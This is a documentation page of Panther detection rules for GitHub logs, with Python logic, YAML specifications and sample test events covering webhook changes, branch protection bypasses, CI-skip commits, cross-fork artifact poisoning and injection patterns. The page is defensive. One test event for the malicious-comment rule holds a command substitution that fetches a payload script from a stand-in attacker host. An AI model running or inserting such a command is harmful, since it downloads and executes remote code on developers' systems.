Detection rules › Panther
Panther rules: github
DEPRECATED - GitHub Web Hook Modified
#Deprecated. See GitHub.Webhook.Modified instead.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Exfiltration |
Telemetry coverage
Detection logic
def rule(event):
return event.get("action").startswith("hook.")
def title(event):
action = "modified"
if event.get("action").endswith("destroy"):
action = "deleted"
elif event.get("action").endswith("create"):
action = "created"
return f"web hook {action} in repository [{event.get('repo','<UNKNOWN_REPO>')}]"
def severity(event):
if event.get("action").endswith("create"):
return "MEDIUM"
return "INFO"
Rule specification
AnalysisType: rule
Filename: github_repo_hook_modified.py
RuleID: "GitHub.Repo.HookModified"
DisplayName: "DEPRECATED - GitHub Web Hook Modified"
Status: Deprecated
Enabled: false
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Exfiltration:Automated Exfiltration
- Deprecated
Reports:
MITRE ATT&CK:
- TA0010:T1020
Reference: https://docs.github.com/en/webhooks/about-webhooks
Severity: Info
Description: Deprecated. See GitHub.Webhook.Modified instead.
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionstarts withhook.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | starts_with |
| field:"action" kind:starts_with value:"hook." |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
repo |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "hook.create",
"actor": "cat",
"data": {
"events": [
"fork",
"public",
"pull_request",
"push",
"repository"
],
"hook_id": 111222333444555
},
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repository": "my-org/my-repo"
}
GitHub Action Failed
#A monitored github action has failed.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action workflows.completed_workflow_run: Workflow run status changed to completed |
Detection logic
import json
from unittest.mock import MagicMock
from panther_github_helpers import github_alert_context
# The keys for MONITORED_ACTIONS are gh_org/repo_name
# The values for MONITORED_ACTIONS are a list of ["action_names"]
MONITORED_ACTIONS = {}
def rule(event):
global MONITORED_ACTIONS # pylint: disable=global-statement
if isinstance(MONITORED_ACTIONS, MagicMock):
MONITORED_ACTIONS = json.loads(MONITORED_ACTIONS()) # pylint: disable=not-callable
repo = event.get("repo", "")
action_name = event.get("name", "")
return all(
[
event.get("action", "") == "workflows.completed_workflow_run",
event.get("conclusion", "") == "failure",
repo in MONITORED_ACTIONS,
action_name in MONITORED_ACTIONS.get(repo, []),
]
)
def title(event):
repo = event.get("repo", "<NO_REPO>")
action_name = event.get("name", "<NO_ACTION_NAME>")
return f"GitHub Action [{action_name}] in [{repo}] has failed"
def alert_context(event):
a_c = github_alert_context(event)
a_c["action"] = event.get("name", "<NO_ACTION_NAME>")
a_c["action_run_link"] = (
f"https://github.com/{a_c.get('repo')}/actions/"
f"runs/{event.get('workflow_run_id', '<NO_RUN_ID>')}"
)
return a_c
Rule specification
AnalysisType: rule
Filename: github_action_failed.py
RuleID: "GitHub.Action.Failed"
DisplayName: "GitHub Action Failed"
Enabled: false
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Configuration Required
Severity: High
Description: A monitored github action has failed.
Runbook: |
Inspect the action failure link and take appropriate response.
There are no general plans of response for this activity.
Reference: https://docs.github.com/en/actions/creating-actions/setting-exit-codes-for-actions#about-exit-codes
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actionisworkflows.completed_workflow_runconclusionisfailurerepois one of
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"workflows.completed_workflow_run" |
conclusion | eq |
| field:"conclusion" kind:eq value:"failure" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
name |
Response runbook
Inspect the action failure link and take appropriate response.
There are no general plans of response for this activity.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"_document_id": "pWWWWWWWWWWWWWWWWWWWWW",
"action": "workflows.completed_workflow_run",
"actor": "github_handle",
"at_sign_timestamp": "2023-01-31 18:58:27.638",
"business": "github-business-only-if-enterprise-audit-log",
"completed_at": "2023-01-31T18:58:27.000Z",
"conclusion": "failure",
"created_at": "2023-01-31 18:58:27.638",
"event": "schedule",
"head_branch": "master",
"head_sha": "66dddddddddddddddddddddddddddddddddddddd",
"name": "sync-panther-analysis-from-upstream",
"operation_type": "modify",
"org": "panther-labs",
"p_log_type": "GitHub.Audit",
"public_repo": false,
"repo": "your-org/panther-analysis-copy",
"run_attempt": 3,
"run_number": 99,
"started_at": "2023-01-31 18:58:04",
"workflow_id": 44444444,
"workflow_run_id": 5555555555
}
GitHub Advanced Security Change WITHOUT Repo Archived
#Identifies when GitHub Advanced Security (GHAS) settings are modified without the repository being archived within 90 minutes. GHAS provides code scanning, secret scanning, and dependency review to detect vulnerabilities and exposed credentials. Disabling GHAS while keeping repositories active suggests attackers hiding malicious code, preventing security alert detection, or facilitating backdoors and supply chain attacks.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Rule specification
AnalysisType: correlation_rule
RuleID: "GitHub.Advanced.Security.Change.NOT.FOLLOWED.BY.Repo.Archived"
DisplayName: "GitHub Advanced Security Change WITHOUT Repo Archived"
Enabled: false
Severity: Critical
Tags:
- GitHub
- Code Security
- Defense Evasion
- Configuration Change
Reports:
MITRE ATT&CK:
- TA0005:T1562.001
Description: >
Identifies when GitHub Advanced Security (GHAS) settings are modified without the repository being archived within 90 minutes. GHAS provides code scanning, secret scanning, and dependency review to detect vulnerabilities and exposed credentials. Disabling GHAS while keeping repositories active suggests attackers hiding malicious code, preventing security alert detection, or facilitating backdoors and supply chain attacks.
Runbook: |
1. Query GitHub audit logs for the repository in p_alert_context.repo in the 6 hours around the GHAS change to identify all commits, secret scanning alerts, code scanning alerts, and CI/CD configuration changes made by the user who disabled GHAS
2. Review GitHub secret scanning history and code scanning alerts for the repository to check if new secrets or vulnerabilities were introduced around the time GHAS was disabled
3. Check the user account's recent activity across all repositories in the organization audit log to identify if they made similar GHAS changes on other repositories or exhibited other suspicious behavior
Reference: https://docs.github.com/en/code-security/getting-started/auditing-security-alerts
Detection:
- Group:
- ID: GHASChange
RuleID: GitHub.Advanced.Security.Change
- ID: RepoArchived
RuleID: Github.Repo.Archived
Absence: true
MatchCriteria:
field_name:
- GroupID: GHASChange
Match: p_alert_context.repo
- GroupID: RepoArchived
Match: p_alert_context.repo
EventEvaluationOrder: Chronological
LookbackWindowMinutes: 1800
Schedule:
RateMinutes: 1440
TimeoutMinutes: 10
Stages and Predicates
Fires when the steps below all occur within 30h, correlated by p_alert_context.repo. Each step needs one match unless a higher minimum is shown.
Stage 1: step GHASChange
References detection GitHub Security Change, includes GitHub Advanced Security.
Stage 2: step RepoArchived (negated)
References detection GitHub Repository Archived.
Response runbook
1. Query GitHub audit logs for the repository in p_alert_context.repo in the 6 hours around the GHAS change to identify all commits, secret scanning alerts, code scanning alerts, and CI/CD configuration changes made by the user who disabled GHAS
2. Review GitHub secret scanning history and code scanning alerts for the repository to check if new secrets or vulnerabilities were introduced around the time GHAS was disabled
3. Check the user account's recent activity across all repositories in the organization audit log to identify if they made similar GHAS changes on other repositories or exhibited other suspicious behavior
GitHub Artifact Download from Cross-Fork Workflow
#The "download artifacts" API, and various custom actions encapsulating it, doesn't differentiate between artifacts that were uploaded by forked repositories and base repositories, which could lead privileged workflows to download artifacts that were created by forked repositories and that are potentially poisoned.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution | |
| Privilege Escalation |
Rule specification
AnalysisType: correlation_rule
RuleID: "GitHub.ArtifactDownload.FROM.CrossFork.Workflow"
DisplayName: "GitHub Artifact Download from Cross-Fork Workflow"
Enabled: false
Severity: Medium
Tags:
- CI/CD
- Workflow
- Supply Chain
- Artifact Poisoning
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
- TA0004:T1134 # Privilege Escalation: Access Token Manipulation
Description: >
The "download artifacts" API, and various custom actions encapsulating it,
doesn't differentiate between artifacts that were uploaded by forked repositories
and base repositories, which could lead privileged workflows to download artifacts
that were created by forked repositories and that are potentially poisoned.
Runbook: |
1. Consider ensuring that the artifact download job uses the specific run_id for the generated artifact.
It is recommended to specify which run id or commit hash to download the artifact from.
2. Consider filtering out artifacts created from pull requests.
3. Consider limiting the possibility for outside collaborators to trigger workflows.
4. Sanitize cross-fork contents.
Reference: https://www.legitsecurity.com/blog/artifact-poisoning-vulnerability-discovered-in-rust
Detection:
- Group:
- ID: CrossForkWorkflowRun
RuleID: GitHub.CrossFork.Workflow.Run
- ID: ArtifactDownload
RuleID: GitHub.Webhook.WorkflowArtifactDownload
MatchCriteria:
field_name:
- GroupID: CrossForkWorkflowRun
Match: workflow_run.id
- GroupID: ArtifactDownload
Match: workflow_job.run_id
EventEvaluationOrder: Chronological
LookbackWindowMinutes: 1800
Schedule:
RateMinutes: 1440
TimeoutMinutes: 10
Stages and Predicates
Fires when the steps below all occur within 30h, correlated by workflow_job.run_id, workflow_run.id. Each step needs one match unless a higher minimum is shown.
Stage 1: step CrossForkWorkflowRun
References detection GitHub Cross-Fork Workflow Run.
Stage 2: step ArtifactDownload
References detection GitHub Workflow Downloading Artifacts.
Response runbook
1. Consider ensuring that the artifact download job uses the specific run_id for the generated artifact.
It is recommended to specify which run id or commit hash to download the artifact from.
2. Consider filtering out artifacts created from pull requests.
3. Consider limiting the possibility for outside collaborators to trigger workflows.
4. Sanitize cross-fork contents.
GitHub Branch Protection Disabled
#Disabling branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action protected_branch.destroy: Branch protection disabled |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
return event.get("action") == "protected_branch.destroy"
def title(event):
return (
f"A branch protection was removed from the "
f"repository [{event.get('repo', '<UNKNOWN_REPO>')}] "
f"by [{event.get('actor', '<UNKNOWN_ACTOR>')}]"
)
Rule specification
AnalysisType: rule
Filename: github_branch_protection_disabled.py
RuleID: "GitHub.Branch.ProtectionDisabled"
DisplayName: "GitHub Branch Protection Disabled"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Initial Access:Supply Chain Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195
Severity: High
Description: Disabling branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.
Runbook: Verify that branch protection should be disabled on the repository and re-enable as necessary.
Reference: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisprotected_branch.destroy
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"protected_branch.destroy" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
repo |
actor |
Response runbook
Verify that branch protection should be disabled on the repository and re-enable as necessary.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "protected_branch.destroy",
"actor": "cat",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo"
}
GitHub Branch Protection Policy Override
#Bypassing branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action protected_branch.policy_override: Branch protection requirement overridden by admin |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
return event.get("action") == "protected_branch.policy_override"
def title(event):
branch = event.get("branch", "<UNKNOWN_BRANCH>")
return (
f"A branch protection requirement in the repository"
f" [{event.get('repo', '<UNKNOWN_REPO>')}]"
f" was overridden by user [{event.udm('actor_user')}]"
f" on branch [{branch}]"
)
Rule specification
AnalysisType: rule
Filename: github_branch_policy_override.py
RuleID: "GitHub.Branch.PolicyOverride"
DisplayName: "GitHub Branch Protection Policy Override"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Initial Access:Supply Chain Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195
Severity: High
Description: Bypassing branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.
Runbook: Verify that the GitHub admin performed this activity and validate its use.
Reference: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisprotected_branch.policy_override
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"protected_branch.policy_override" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
repo |
actor_user |
branch |
Response runbook
Verify that the GitHub admin performed this activity and validate its use.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "protected_branch.policy_override",
"actor": "cat",
"branch": "refs/heads/main",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo"
}
GitHub Commits Skipping Workflows
#Detects commits from cross-fork scenarios that contain workflow skip directives, which bypass GitHub Actions workflows. These skip patterns ([skip ci], [ci skip], [no ci], [skip actions], [actions skip], skip-checks:true) can be used to avoid security checks and CI/CD processes. This rule only alerts on commits to public forkable repositories.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Stealth |
Detection logic
import re
from panther_github_helpers import github_reference_url, github_webhook_alert_context
SKIP_PATTERNS = [
r"\[skip ci\]",
r"\[ci skip\]",
r"\[no ci\]",
r"\[skip actions\]",
r"\[actions skip\]",
r"skip-checks:\s*true",
]
COMPILED_PATTERNS = [re.compile(pattern, re.IGNORECASE) for pattern in SKIP_PATTERNS]
def rule(event):
if not event.get("pusher"):
return False
repo = event.get("repository", {})
if repo.get("private") or not repo.get("allow_forking"):
return False
messages = event.deep_walk("commits", "message")
if not isinstance(messages, list):
messages = [messages]
for message in messages:
if _has_skip_pattern(message):
return True
return False
def _has_skip_pattern(message):
if not message:
return False
return any(pattern.search(message) for pattern in COMPILED_PATTERNS)
def title(event):
repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
head_commit = event.deep_get("head_commit", default={})
commit_sha = head_commit.get("id", "<NO_SHA>")[:8]
return f"Cross-fork workflow skip commit detected in {repo_name} ({commit_sha})"
def alert_context(event):
context = github_webhook_alert_context(event)
skip_commits = []
commits = event.get("commits", [{}])
for commit in commits:
commit_message = commit.get("message", "")
if _has_skip_pattern(commit_message):
matched_patterns = [
SKIP_PATTERNS[i]
for i, pattern in enumerate(COMPILED_PATTERNS)
if pattern.search(commit_message)
]
skip_commits.append(
{
"id": commit.get("id"),
"message": commit_message,
"author": commit.get("author", {}).get("name"),
"matched_patterns": matched_patterns,
}
)
context["skip_commits"] = skip_commits
return context
def reference(event):
if reference_url := github_reference_url(event):
return reference_url
return "DEFAULT"
Rule specification
AnalysisType: rule
Filename: github_workflow_skip_commits.py
RuleID: "GitHub.Webhook.WorkflowSkipCommits"
DisplayName: "GitHub Commits Skipping Workflows"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0005:T1622 # Defense Evasion: Debugger Evasion
Tags:
- CI/CD
- Workflow
Severity: Medium
Description: >
Detects commits from cross-fork scenarios that contain workflow skip directives, which bypass GitHub Actions workflows.
These skip patterns ([skip ci], [ci skip], [no ci], [skip actions], [actions skip], skip-checks:true)
can be used to avoid security checks and CI/CD processes. This rule only alerts on commits to public forkable repositories.
Runbook: >
1. Review the commit message and author to determine if the workflow skip was intentional and authorized
2. Verify that skipping workflows is appropriate for the type of changes made
3. Check if the repository has policies requiring workflow runs for certain changes
4. Consider if the skip bypasses important security or quality checks
5. Monitor for patterns of excessive workflow skipping that might indicate policy circumvention
Reference: https://docs.github.com/en/actions/managing-workflow-runs/skipping-workflow-runs
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
pusheris presentrepository.privateis emptyrepository.allow_forkingis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
repository.allow_forking | is_null | excludes:repository.allow_forking | |
repository.private | is_not_null | excludes:repository.private |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
pusher | is_not_null | field:"pusher" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
full_name | repository.full_name |
Response runbook
1. Review the commit message and author to determine if the workflow skip was intentional and authorized 2. Verify that skipping workflows is appropriate for the type of changes made 3. Check if the repository has policies requiring workflow runs for certain changes 4. Consider if the skip bypasses important security or quality checks 5. Monitor for patterns of excessive workflow skipping that might indicate policy circumvention
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"commits": [
{
"author": {
"email": "dev@example.com",
"name": "Developer"
},
"id": "abc123",
"message": "Fix documentation [skip ci]"
}
],
"p_log_type": "GitHub.Webhook",
"pusher": {
"email": "dev@example.com",
"name": "Developer"
},
"ref": "refs/heads/main",
"repository": {
"allow_forking": true,
"full_name": "org/test-repo",
"id": 123456789,
"name": "test-repo",
"owner": {
"login": "org"
},
"private": false
}
}
GitHub Cross-Fork Workflow Run
#Tracks workflows run in cross-fork pull requests.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution | |
| Privilege Escalation |
Detection logic
from panther_base_helpers import deep_get
from panther_github_helpers import is_cross_fork_pr
def rule(event):
return (
event.deep_get("workflow_run", "event") in ("pull_request_target", "pull_request")
and event.get("action") == "requested"
and is_cross_fork_pr(event) is True
)
def title(event):
workflow_name = event.deep_get("workflow_run", "name", default="<UNKNOWN_WORKFLOW>")
repo_name = deep_get(event, "repository", "full_name", default="<UNKNOWN_REPO>")
action = event.get("action", "<UNKNOWN_ACTION>")
title_str = f"Workflow [{workflow_name}] triggered by cross-fork PR in {repo_name} ({action})"
return title_str
Rule specification
AnalysisType: rule
Filename: github_crossfork_workflow_run.py
RuleID: "GitHub.CrossFork.Workflow.Run"
DisplayName: "GitHub Cross-Fork Workflow Run"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
- TA0004:T1134 # Privilege Escalation: Access Token Manipulation
Tags:
- CI/CD
- Workflow
CreateAlert: false
Severity: Info
Description: Tracks workflows run in cross-fork pull requests.
Reference: https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
workflow_run.eventis one ofpull_request_target,pull_requestactionisrequested
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"requested" |
workflow_run.event | in |
| field:"workflow_run.event" kind:in |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "requested",
"repository": {
"full_name": "example-org/example-repo",
"id": 243627255,
"private": false
},
"workflow_run": {
"conclusion": "failure",
"event": "pull_request",
"head_branch": "malicious-feature",
"html_url": "https://github.com/example-org/example-repo/actions/runs/87654321",
"id": 87654321,
"name": "Build and Test",
"pull_requests": [
{
"base": {
"ref": "main",
"repo": {
"full_name": "example-org/example-repo",
"id": 243627255,
"name": "example-repo"
}
},
"head": {
"ref": "malicious-feature",
"repo": {
"full_name": "attacker/example-repo",
"id": 999999999,
"name": "example-repo"
}
},
"number": 456
}
],
"status": "in_progress"
}
}
GitHub Dependabot Vulnerability Dismissed
#Creates an alert if a dependabot alert is dismissed without being fixed.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action repository_vulnerability_alert.dismiss: Dependabot alert dismissed |
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
if event.get("action") == "repository_vulnerability_alert.dismiss":
return True
return False
def title(event):
return f"GitHub Dependabot Vulnerability Dismissed by {event.get('actor')}: {event.get('repo')}"
def alert_context(event):
context = github_alert_context(event)
alert_url = (
f"https://github.com/{event.get('repo')}/security/dependabot/{event.get('alert_number')}"
)
return context | {"alert_url": alert_url}
Rule specification
AnalysisType: rule
DisplayName: "GitHub Dependabot Vulnerability Dismissed"
Enabled: true
Filename: github_repo_vulnerability_dismissed.py
RuleID: "Github.Repo.VulnerabilityDismissed"
Severity: High
Threshold: 1
Description: >
Creates an alert if a dependabot alert is dismissed without being fixed.
LogTypes:
- GitHub.Audit
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisrepository_vulnerability_alert.dismiss
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"repository_vulnerability_alert.dismiss" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
actor |
repo |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"_document_id": "Z7JUOWzi2wKeWsZcOhbS9w",
"action": "repository_vulnerability_alert.dismiss",
"active": true,
"actor": "badger",
"actor_id": "1234567",
"actor_is_bot": false,
"alert_number": 8,
"at_sign_timestamp": "2024-04-09 06:17:55.186000000",
"business": "acme",
"business_id": "11244",
"created_at": "2024-03-13 22:36:27.788000000",
"external_identity_nameid": "badger@acme.com",
"ghsa_id": "GHSA-1234-5678-9090",
"operation_type": "modify",
"org": "acme",
"org_id": 42053323,
"public_repo": true,
"repo": "acme/repo",
"repo_id": 6532371245,
"user": "badger",
"user_agent": "Mozilla/5.0 (Macintosh Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",
"user_id": "1270063"
}
GitHub Malicious Comment/Review Content
#Detects malicious patterns in GitHub comment and review content that could indicate bash injection attempts or social engineering attacks. This includes comments on issues, pull requests, and pull request reviews. While comments cannot directly execute code, they can be used to trick developers into running malicious commands. This rule detects command substitution patterns similar to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c).
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Malicious Issue/Pages Content (Panther)
- GitHub Malicious Pull Request Content (Panther)
- GitHub Sha1-Hulud Malicious Repository Created (Panther)
Detection logic
from panther_github_helpers import (
contains_bash_injection_pattern,
get_matched_bash_patterns,
github_reference_url,
github_webhook_alert_context,
)
def rule(event):
# Check for comment/review events
action = event.get("action")
# Handle issue_comment events (comments on issues or PRs)
if event.get("comment") and action in ["created", "edited"]:
if contains_bash_injection_pattern(event.deep_get("comment", "body")):
return True
# Handle pull_request_review events
if event.get("review") and action in ["submitted", "edited"]:
if contains_bash_injection_pattern(event.deep_get("review", "body")):
return True
return False
def title(event):
repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
action = event.get("action", "<UNKNOWN_ACTION>")
# Determine if this is a comment or review
if event.get("comment"):
comment_id = event.deep_get("comment", "id", default="<UNKNOWN>")
comment_type = "PR comment" if event.get("pull_request") else "issue comment"
return (
f"Malicious pattern detected in {comment_type} #{comment_id} in {repo_name} ({action})"
)
if event.get("review"):
review_id = event.deep_get("review", "id", default="<UNKNOWN>")
return f"Malicious pattern detected in PR review #{review_id} in {repo_name} ({action})"
return f"Malicious pattern detected in comment/review in {repo_name} ({action})"
def alert_context(event):
context = github_webhook_alert_context(event)
# Analyze comment body
if comment_body := event.deep_get("comment", "body"):
patterns = get_matched_bash_patterns(comment_body)
if patterns:
comment = event.get("comment", {})
context["comment_analysis"] = {
"body": comment_body,
"matched_patterns": patterns,
"comment_id": comment.get("id"),
"user": comment.get("user", {}).get("login"),
"html_url": comment.get("html_url"),
"created_at": comment.get("created_at"),
"updated_at": comment.get("updated_at"),
}
# Analyze review body
if review_body := event.deep_get("review", "body"):
patterns = get_matched_bash_patterns(review_body)
if patterns:
review = event.get("review", {})
context["review_analysis"] = {
"body": review_body,
"matched_patterns": patterns,
"review_id": review.get("id"),
"user": review.get("user", {}).get("login"),
"state": review.get("state"),
"html_url": review.get("html_url"),
"submitted_at": review.get("submitted_at"),
}
return context
def reference(event):
# Try to get comment or review URL
if comment_url := event.deep_get("comment", "html_url"):
return comment_url
if review_url := event.deep_get("review", "html_url"):
return review_url
if reference_url := github_reference_url(event):
return reference_url
return "DEFAULT"
Rule specification
AnalysisType: rule
Filename: github_malicious_comment_content.py
RuleID: "GitHub.Webhook.MaliciousCommentContent"
DisplayName: "GitHub Malicious Comment/Review Content"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0042:T1566 # Initial Access: Phishing
Tags:
- Code Injection
- Supply Chain
- Social Engineering
Severity: Medium
Description: >
Detects malicious patterns in GitHub comment and review content that could indicate bash
injection attempts or social engineering attacks. This includes comments on issues, pull
requests, and pull request reviews. While comments cannot directly execute code, they can
be used to trick developers into running malicious commands. This rule detects command
substitution patterns similar to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c).
Runbook: |
1. Review the comment or review content for malicious patterns
2. Check the author's profile and activity history
3. Determine if this is a legitimate comment or a social engineering attempt
4. Delete the comment/review if it's malicious
5. Report the user if they appear to be intentionally posting malicious content
6. Review other comments from the same user in the repository
7. Consider blocking the user from the repository/organization
8. Check if any developers may have already executed the malicious commands
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
Stages and Predicates
Fires on GitHub.Webhook events when any of the conditions below holds.
Condition
any of:
all of:
commentis presentactionis one ofcreated,editedcomment.bodyis present
all of:
reviewis presentactionis one ofsubmitted,editedreview.bodyis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
comment | is_not_null | field:"comment" kind:is_not_null | |
comment.body | is_not_null | field:"comment.body" kind:is_not_null | |
review | is_not_null | field:"review" kind:is_not_null | |
review.body | is_not_null | field:"review.body" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
id | comment.id |
full_name | repository.full_name |
id | review.id |
Response runbook
1. Review the comment or review content for malicious patterns
2. Check the author's profile and activity history
3. Determine if this is a legitimate comment or a social engineering attempt
4. Delete the comment/review if it's malicious
5. Report the user if they appear to be intentionally posting malicious content
6. Review other comments from the same user in the repository
7. Consider blocking the user from the repository/organization
8. Check if any developers may have already executed the malicious commands
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "created",
"comment": {
"body": "Try running this command: $(curl evil.com/payload.sh)",
"created_at": "2024-01-15T10:30:00Z",
"html_url": "https://github.com/org/repo/issues/1#issuecomment-123456",
"id": 123456,
"user": {
"id": 12345,
"login": "malicious-user",
"type": "User"
}
},
"issue": {
"number": 1,
"title": "Help needed"
},
"p_log_type": "GitHub.Webhook",
"repository": {
"full_name": "org/repo",
"name": "repo"
},
"sender": {
"login": "malicious-user"
}
}
GitHub Malicious Commit Content
#Detects malicious patterns in GitHub commit content including commit messages, author names, and author emails. These fields can contain injection payloads that may be executed by vulnerable CI/CD workflows or git hooks. This rule is particularly important as commit metadata is often trusted and may be processed unsafely. Based on patterns from the Nx vulnerability (GHSA-cxm3-wv7p-598c).
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Persistence |
Detection logic
from panther_github_helpers import (
contains_bash_injection_pattern,
get_matched_bash_patterns,
github_reference_url,
github_webhook_alert_context,
)
def rule(event):
# Check for push events with commits
if not (event.get("commits") or event.get("head_commit")):
return False
# Check head_commit fields (single commit in push)
if head_commit := event.get("head_commit"):
fields_to_check = [
head_commit.get("message"),
head_commit.get("author", {}).get("email"),
head_commit.get("author", {}).get("name"),
]
for field in fields_to_check:
if contains_bash_injection_pattern(field):
return True
# Check all commits in the push
for commit in event.get("commits", []):
commit_fields = [
commit.get("message"),
commit.get("author", {}).get("email"),
commit.get("author", {}).get("name"),
]
for field in commit_fields:
if contains_bash_injection_pattern(field):
return True
return False
def title(event):
repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
ref = event.get("ref", "<UNKNOWN_REF>")
return f"Malicious pattern detected in commit content in {repo_name} on {ref}"
def alert_context(event):
context = github_webhook_alert_context(event)
context["malicious_commits"] = []
# Analyze head_commit
if head_commit := event.get("head_commit"):
commit_analysis = _analyze_commit(head_commit)
if commit_analysis["has_malicious_patterns"]:
context["malicious_commits"].append(commit_analysis)
# Analyze all commits
for commit in event.get("commits", []):
commit_analysis = _analyze_commit(commit)
if commit_analysis["has_malicious_patterns"]:
context["malicious_commits"].append(commit_analysis)
return context
